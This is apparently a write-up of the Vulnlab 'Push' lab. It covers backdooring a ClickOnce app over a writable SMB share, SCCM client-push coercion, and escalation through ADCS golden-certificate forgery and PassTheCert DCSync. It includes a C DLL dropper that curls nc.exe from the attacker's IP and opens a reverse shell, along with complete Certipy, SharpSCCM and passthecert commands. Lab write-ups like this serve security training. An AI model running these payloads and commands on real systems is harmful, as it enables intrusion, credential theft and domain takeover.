# Push - Writeup (Vulnlab)

## **NMAP & INFO**

```bash
Backdooring a ClickOnce deployment, which led to code execution. 
SCCM Client Push Coercion to capture NTLM hashes, privesc using ADCS by forging a certificate 
and abusing it with PassTheCert to grant DCSync rights.
```

* ## DC01.push.vl
    

```bash
53/tcp   open  domain        Simple DNS Plus  
80/tcp   open  http          Microsoft IIS httpd 10.0  
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos  
135/tcp  open  msrpc         Microsoft Windows RPC  
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn  
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP  
443/tcp  open  https         SSL/TLS (likely IIS)  
445/tcp  open  microsoft-ds  SMB file sharing  
464/tcp  open  kpasswd5      Kerberos password change  
593/tcp  open  ncacn_http    RPC over HTTP  
636/tcp  open  ssl/ldap      LDAP over SSL  
3268/tcp open  ldap          Global Catalog LDAP  
3269/tcp open  ssl/ldap      Global Catalog LDAPS  
3389/tcp open  ms-wbt-server Microsoft Remote Desktop (RDP)  
5985/tcp open  http          WinRM (Windows Remote Management)  
```

* ## **MS01.push.vl**
    

```bash
21/tcp   open  ftp           Microsoft ftpd (anonymous login allowed)  
80/tcp   open  http          Microsoft IIS httpd 10.0 (SelfService page)  
135/tcp  open  msrpc         Microsoft Windows RPC  
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn  
445/tcp  open  microsoft-ds  SMB file sharing  
3389/tcp open  ms-wbt-server Microsoft Remote Desktop (RDP)  
5985/tcp open  http          WinRM (Windows Remote Management)  
```

# **FOOTHOLD**

In our basic recon, I found that the IP address **10.10.217.101** corresponds to the Domain Controller **DC01.push.vl**. The second IP address, **10.10.217.102**, resolves to **MS01.push.vl**.

I tried bruteforcing for valid users with kerbrute, but had no luck:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754027501532/5be52f6a-f1a0-4dcf-93a2-32024471ee0a.png align="center")

With nothing else immediately promising, I decided to focus on **MS01**, since NMAP shows that the *FTP* service **allows ANONYMOUS login**.

## **MS01 | FTP | Anonymous**

We log in as the anonymous user on **MS01** FTP service, and we see four directories available:

```bash
ftp anonymous@10.10.217.102
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754027519554/a13c32c6-6264-4062-930d-6005f23377ec.png align="center")

Three of the folders are empty, except for the **.git-credentials**. We download it and recover credentials for **olivia.wood**.

## **SMB Enum | olivia.wood**

I enumerate shares and permissions using netexec and get the following:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754027694841/915d800e-c450-4d20-bebf-581ff9093fe1.png align="center")

## The **wwwroot** share on **MS01** has **read/write** permissions. I connect to it using [`smbclient.py`](http://smbclient.py):

```bash
smbclient.py push.vl/olivia.wood:'<REDACTED>'@10.10.217.102
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754027767444/768c2ece-ee36-4a9f-9933-7e41b6f767a0.png align="center")

Here is what I get when I list the contents. At first glance, there’s a folder named `SelfService_1_0_0_5`, and inside it, we find several `.deploy` files along with some DLLs..

Looks like this could be the deployed version of some .NET application and possibly the one running on the web interface.

* [*http://MS01.push.vl*](http://ms01.push.vl/)
    

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754027781516/2e566b9c-7c2d-42ef-9fb8-f3f2045a5a28.png align="center")

If I quickly check and create a file called `testing.html` with the text “pepe”, I should be able to see it reflected on port 80. Let’s see:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754027788152/a2a15e58-411f-4331-bd1d-46eb430f3769.png align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754027790889/a9b55d80-ec1e-4b4c-89cb-9654f615c4f6.png align="center")

## **What is ClickOnce?**

ClickOnce is a *Microsoft deployment technology* that allows users to install and run applications directly from a browser with a single click, without needing admin privileges. It’s often used in enterprise environments, but can also be abused to execute malicious code.

If I check the `last-run.txt`, I can see the execution time updates. First it shows 4:41, then 4:45, confirming the app logs each run.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754027808534/09f83d96-a202-4241-861f-d31311cd1ba0.png align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754027814667/076f5e3f-79a5-4888-935f-cd5dfb7c454c.png align="center")

Based on the initial hints, this [blog post](https://infosecwriteups.com/backdooring-clickonce-net-for-initial-access-a-practical-example-1eb6863c0579) [can help](https://infosecwriteups.com/backdooring-clickonce-net-for-initial-access-a-practical-example-1eb6863c0579) us backdoor the ClickOnce app served over SMB. A user runs it every 3 o 4 minutes, so once modified, it should execute shortly after.

## **ClickOnce Abuse**

According to the blog and summarizing the steps, here’s what we need to do to make it work.  
I mounted the share under `/mnt/ctf/` to work more comfortably.

* First, we patch the `SelfService.dll.deploy` with our payload and calculate its new SHA256 hash and size.
    
* Second, we update the `SelfService.dll.manifest` with those values, remove the `publisherIdentity` and signature block, and set the `publicKeyToken` to all zeroes.
    
* Finally, we update the `SelfService.application` manifest in the same way, adjusting the hash and size of the `.manifest`, and stripping the signature stuff there too.
    

Once that’s done, the app should execute our modified DLL without complaining.

Let’s go with our payload:

```bash
#include <windows.h>
#include <stdlib.h>

void dropper() {
    char cmd1[] = "curl http://10.8.0.147/nc.exe -o C:\\ProgramData\\svchost.exe";
    char cmd2[] = "C:\\ProgramData\\svchost.exe 10.8.0.147 9000 -e cmd.exe";
    WinExec(cmd1, SW_HIDE);
    Sleep(1200);
    WinExec(cmd2, SW_HIDE);
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)dropper, NULL, 0, NULL);
    }
    return TRUE;
}
```

*This drops* `nc.exe` into `C:\ProgramData\` and runs it to establish a reverse shell to our listener.

We compile it as a DLL using:

```bash
x86_64-w64-mingw32-gcc -o SelfService.dll.deploy SelfService.c -shared
# SelfService.dll.deploy
```

Then.. we calculate the SHA256 digest and update both the hash and the file size in the `SelfService.dll.manifest`:

```bash
openssl dgst -binary -sha256 SelfService.dll.deploy | openssl enc -base64
# wZWYtmlLFTb2a7/Y7e7b+Yh6dOQ7lB9zRoBXXXtmGHs=
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754027872842/492f9cad-2c37-4c09-9f54-1a113c6503dd.png align="center")

Now we need to replace the `publicKeyToken=` found in `<asmv1:assemblyIdentity` with 16 zeroes:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754027885311/221c51a4-2263-4047-86ba-259bba1d9f33.png align="center")

We also need to update the `DigestValue` and size for `SelfService.dll.manifest` inside the `SelfService.application` file, and set the `publicKeyToken` to all zeroes:

```bash
openssl dgst -binary -sha256 SelfService.dll.manifest | openssl enc -base64
# 5+DEk6lBbruFSY8utYzVUbmv9jEeZ0ErxZpMdREbiCo=
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754027897846/c68757a1-760f-4349-8eb9-975c6a644b19.png align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754027901973/c6b7dc69-b63e-4172-ba0f-a27c8b99ddaa.png align="center")

Once that’s done, all that’s left is to upload the modified files and start our netcat listener along with a simple python http server.

Then just wait two minutes in my case.. and..

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754027915429/20c179b0-568c-40f8-be56-2fc447fcf45c.png align="center")

And there it is..we got a shell! :). We’re now inside as `kelly.hill` user, running from the ClickOnce path under `AppData\Local\Apps`.

## **Kelly.Hill | flag.txt**

Now, if we move into kelly’s home directory, we find a similar situation: there’s a `.git-credential` file, and by reading it, we can extract her password.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754027931897/31871209-0f76-4148-b20d-f0d54ba2f162.png align="center")

And we get our **flag.txt**:

```bash
PS C:\users\kelly.hill\Desktop> type flag.txt
```

## **Bloodhound Time**

After some enum, **kelly.hill** has pretty limited permissions. She’s part of basic groups like `Users`, `Remote Desktop Users`, and `staff`, nothing elevated. No admin rights, and just default privileges.

But.. some interesting with **sccadmin** shows up as a local admin, but I don’t have access to its home folder or permissions. Definitely a “key” user!.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754027960225/59632753-ec2b-4abb-84b7-230ae0987039.png align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754027963643/931bab06-9d7a-4d9e-87ac-7132d12074a2.png align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754027967623/e20510f7-9721-4278-bb14-976f04e69887.png align="center")

## **SCCM | System Center Configuration Manager**

Let’s pause for a second and give some quick context for those not familiar.

**SCCM** is a Microsoft tool used a lot in corporate environments. Basically, it helps IT teams manage all the devices in a network, like pushing software, deploying updates, applying policies, or even controlling some access.

If you’re inside a company and your PC suddenly installs stuff or changes config without you touching anything… yeah!, that’s probably **SCCM** doing its thing :D.

## **SCCM Coercion Attack**

A good reference for this is the following post:  
[https://posts.specterops.io/coercing-ntlm-authentication-from-sccm-e6e23ea8260a](https://posts.specterops.io/coercing-ntlm-authentication-from-sccm-e6e23ea8260a)

We are going to try an **SCCM coercion** to steal a hash. With **SharpSCCM** we can trigger a **Client Push Installation** and force the SCCM service account to authenticate to us. That account usually has local **Admin Rights!**.

```bash
.\SharpSCCM.exe invoke client-push -t 10.8.0.147 -sc HQ0 -mp DC01.push.vl
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754028006761/ba2f8a89-6f39-4db0-9851-50d4eeb363a9.png align="center")

After running the coercion with SharpSCCM, we instantly capture the hashes for sccadmin:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754028016627/c00a8533-62cc-4eac-8346-a18dbdcd824c.png align="center")

Now we just need to crack it with hashcat:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754028065680/66d425d8-6844-468c-b62e-c4830edd2266.png align="center")

## **SCCADMIN | flag.txt**

Nice the password is cracked and now we can log in as **sccadmin** and cat the flag from the Administrator’s desktop:

```bash
PS C:\users\Administrator> type Desktop\flag.txt
```

## **ADCS | Golden Certificate**

Looking a bit closer at the BloodHound graph, we can clearly see that **ADCS** is present!

Since we have **RDP** access as `sccadmin`, we can start enumerating the Certification Authority from inside to see what we can do with it…

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754028086991/c6173757-7aad-433d-af4b-298b934b3586.png align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754028090620/e9b035c7-c27c-4238-b620-d4400a8dc487.png align="center")

At this point we’ve got admin access on the CA server, so we’re in a really good spot!!.  
The move here is going for a **Golden Certificate**. Since we can dump the CA cert and its private key, that gives us the power to forge a legit certificate for any user, even a domain admin.

After checking Certipy’s post-exploitation guide from their official wiki ([https://github.com/ly4k/Certipy/wiki/07-Post-Exploitation](https://github.com/ly4k/Certipy/wiki/07-Post-Exploitation)), we can do this pretty easily:

We’ll use Certipy to back up the CA certificate and its private key.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754028099359/e30b50c1-b8c4-4d19-b1d3-2d56ea21aa8a.png align="center")

```bash
certipy ca -u sccadmin -p '<REDACTED>' -ns 10.10.217.102 -target-ip MS01.push.vl -backup

# Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Creating new service for backup operation
[*] Creating backup
[*] Retrieving backup
[*] Got certificate and private key
[*] Backing up original PFX/P12 to 'pfx.p12'
[*] Backed up original PFX/P12 to 'pfx.p12'
[*] Saving certificate and private key to 'CA.pfx'
[*] Wrote certificate and private key to 'CA.pfx'
[*] Cleaning up
```

Now that we have the certificate and private key, we can generate a forged cert with domain admin privileges:

```bash
certipy forge -ca-pfx CA.pfx -upn administrator@push.vl -subject 'CN=Administrator,CN=Users,DC=PUSH,DC=VL'

Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Saving forged certificate and private key to 'administrator_forged.pfx'
[*] Wrote forged certificate and private key to 'administrator_forged.pfx'
```

## **Issues? What went wrong?**

```bash
certipy auth -pfx administrator_forged.pfx -dc-ip 10.10.217.101
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754028128518/d6a232dc-fce4-448e-b275-59c125ada2ef.png align="center")

So, what’s the deal here?.. Even though we managed to forge the Golden Certificate just fine, when trying to request a TGT using PKINIT… nothing!!. **Looks like the DC doesn’t support PKINIT.**

**PKINIT** is a **Kerberos extension** that lets you use **X.509** certificates for pre-auth. It’s super handy because it allows us to get a TGT or even the NT hash of a user just by using a certificate, no password needed :). But yeah, that option’s off the table! :(

There’s a great post that explains this kind of situation, where PKINIT isn’t supported [https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html](https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html), but you still have the cert. I’m going to use **PassTheCert** ([https://github.com/AlmondOffSec/PassTheCert/tree/main/Python](https://github.com/AlmondOffSec/PassTheCert/tree/main/Python)) to give DCSync rights to **sccadmin**.

# **ROOT**

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754028149483/67d266f9-7fc7-4b33-883e-5162aac58922.png align="center")

I extracted the cert and key from the forged PFX file, then used **PassTheCert** to give DCSync rights to `sccadmin`. With that in place, I dumped the NTDS and hash for `administrator` access!.

```bash
certipy cert -pfx administrator_forged.pfx -nokey -out administrator.crt
certipy cert -pfx administrator_forged.pfx -nocert -out administrator.key
```

```bash
passthecert.py -action modify_user -crt administrator.crt -key administrator.key -domain push.vl -dc-ip 10.10.217.101 -target sccadmin -elevate

# [*] Granted user 'sccadmin' DCSYNC rights!
```

```bash
nxc smb 10.10.217.101 -u 'SCCADMIN' -p '<REDACTED>' --ntds --user administrator
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1754028168669/ab6f21b8-9531-4c96-8401-98bb2e6375a3.png align="center")

Flag captured, box pwned!,  
Thanks for reading.
